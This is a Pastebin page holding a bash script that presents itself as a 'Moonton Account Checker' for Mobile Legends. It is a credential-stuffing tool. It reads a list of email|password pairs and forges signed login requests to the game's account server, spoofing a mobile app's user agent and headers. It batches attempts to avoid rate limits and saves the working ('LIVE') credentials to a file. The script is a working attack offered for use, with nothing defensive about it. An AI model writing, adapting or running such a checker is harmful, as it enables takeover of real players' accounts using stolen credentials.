ccocot

MoontonAccountChecker.sh

Dec 28th, 2017
1,915
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.58 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. clear
  4. echo -e "\e[92m"
  5. cat << "EOF"
  6.             ######                           #####        
  7.             ######                           #####        
  8.             ######                           #####        
  9.             ##########                  ##########        
  10.                 ######                  ######            
  11.                 ######                  ######            
  12.                 ######                  ######            
  13.             ######################################        
  14.             ######################################        
  15.             ######################################        
  16.         ##############################################    
  17.         ##########   ####################    #########    
  18.         ##########   ####################    #########    
  19.     ######################################################
  20.     ######################################################
  21.     ######################################################
  22.     ######################################################
  23.     #####   ######################################   #####
  24.     #####   ######################################   #####
  25.     #####   ######################################   #####
  26.     #####   ######                           #####   #####
  27.     #####   ######                           #####   #####
  28.     #####   ######                           #####   #####
  29.     #####   ##################   #################   #####
  30.                 ##############   #############            
  31.                 ##############   #############            
  32.                 ##############   #############
  33. EOF
  34. echo -e "\e[0m"
  35. cat << "EOF"
  36.     ------------------------------------------------------
  37.       Moonton Account Checker (Mobile Legends)
  38.       Code By Cyber Screamer | CyberScreamer@bc0de.net
  39.       Thank\'s To Lestravo Mahasiswa Tersakiti & Sikuder
  40.     ------------------------------------------------------
  41.  
  42. EOF
  43.  
  44. function ngecek(){
  45.     local CY='\e[36m'
  46.     local GR='\e[34m'
  47.     local OG='\e[92m'
  48.     local WH='\e[37m'
  49.     local RD='\e[31m'
  50.     local YL='\e[33m'
  51.     local BF='\e[34m'
  52.     local DF='\e[39m'
  53.     local OR='\e[33m'
  54.     local PP='\e[35m'
  55.     local B='\e[1m'
  56.     local CC='\e[0m'
  57.   local empas="${BF}${1}/${2}${CC}"
  58.   local stats="${PP}[$(date +"%T")]${CC} (${3}/${4})"
  59.     local md5pwd=$(echo -n ${2} | md5sum | awk '{ print $1 }')
  60.     local sign=$(echo -n "account="${1}"&md5pwd="${md5pwd}"&op=login" | md5sum | awk '{ print $1 }')
  61.     local postdata="{\"op\":\"login\",\"sign\":\"${sign}\",\"params\":{\"account\":\"${1}\",\"md5pwd\":\"${md5pwd}\"},\"lang\":\"en\"}"
  62.     local result=$(curl -s "http://accountgm.moonton.com:37001" \
  63.     -A "Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4X Build/N2G47H; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.98 Mobile Safari/537.36" \
  64.     -H "X-Requested-With: com.mobile.legends" \
  65.     -d "${postdata}")
  66.     local STATUS=$(echo $result | grep -Po "(?<=message\":\")[^\"]*")
  67.     local SESSION=$(echo $result | grep -Po "(?<=session\":\")[^\"]*")
  68.     local CODE=$(echo $result | grep -Po "(?<=code\":)[^,]*")
  69.     if [[ $STATUS =~ "Error_Success" ]]; then
  70.         printf "${stats} ${empas} => [${OG}${B}LIVE${CC}] STATUS: ${OG}${STATUS}${CC} | SESSION: ${OG}${SESSION}${CC} | CODE: ${OG}${CODE}${CC}\n"
  71.         echo "${1}|${2}" >> live.txt
  72.     elif [[ $STATUS =~ "Error_PasswdError" || $STATUS =~ "Error_NoAccount" ]]; then
  73.         printf "${stats} ${empas} => [${RD}${B}DIE${CC}] STATUS: ${OR}${STATUS}]${CC} | CODE: ${OR}${CODE}${CC}\n"
  74.         echo "${1}|${2}" >> die.txt
  75.     else
  76.         printf "${stats} ${empas} => [${CY}${B}UNK${CC}] STATUS: ${CY}${STATUS}${CC} | CODE: ${CY}${CODE}${CC}\n"
  77.         echo "${1}|${2}" >> unk.txt
  78.     fi
  79. }
  80.  
  81. # CHECK SPECIAL VAR FOR MAILIST
  82. if [[ -z $1 ]]; then
  83.     printf "To Use $0 <mailist.txt> \n"
  84.     exit 1
  85. fi
  86.  
  87. totallines=$(wc -l < ${1});
  88. itung=1
  89.  
  90. # RATIO
  91. persend=20
  92. setleep=2
  93.  
  94. printf "  ===============================\n"
  95. printf "  [!] Filename: ${1}\n"
  96. printf "  [!] Total Lines: ${totallines}\n"
  97. printf "  [!] Ratio: ${persend} \ ${setleep} Seconds\n"
  98. printf "  ===============================\n\n"
  99.  
  100. IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $1))'
  101.  
  102. for (( i = 0; i < ${#mailist[@]}; i++ )); do
  103.   index=$((itung++))
  104.     username="${mailist[$i]}"
  105.     IFS='|' read -r -a array <<< "$username"
  106.     email=${array[0]}
  107.     password=${array[1]}
  108.   if [[ $(expr ${i} % ${persend}) == 0 && $i > 0 ]]; then
  109.     percentage=$((100*$i/$totallines))
  110.     wait
  111.     printf "   >> \e[1;33mSleep for ${setleep}s Total Checked: ${i}(${percentage}%%) - BC0DE.NET\n"
  112.     sleep $setleep
  113.    fi
  114.  
  115.     ngecek "${email}" "${password}" "${index}" "${totallines}" &
  116. done
  117. wait
Add Comment
Please, Sign In to add comment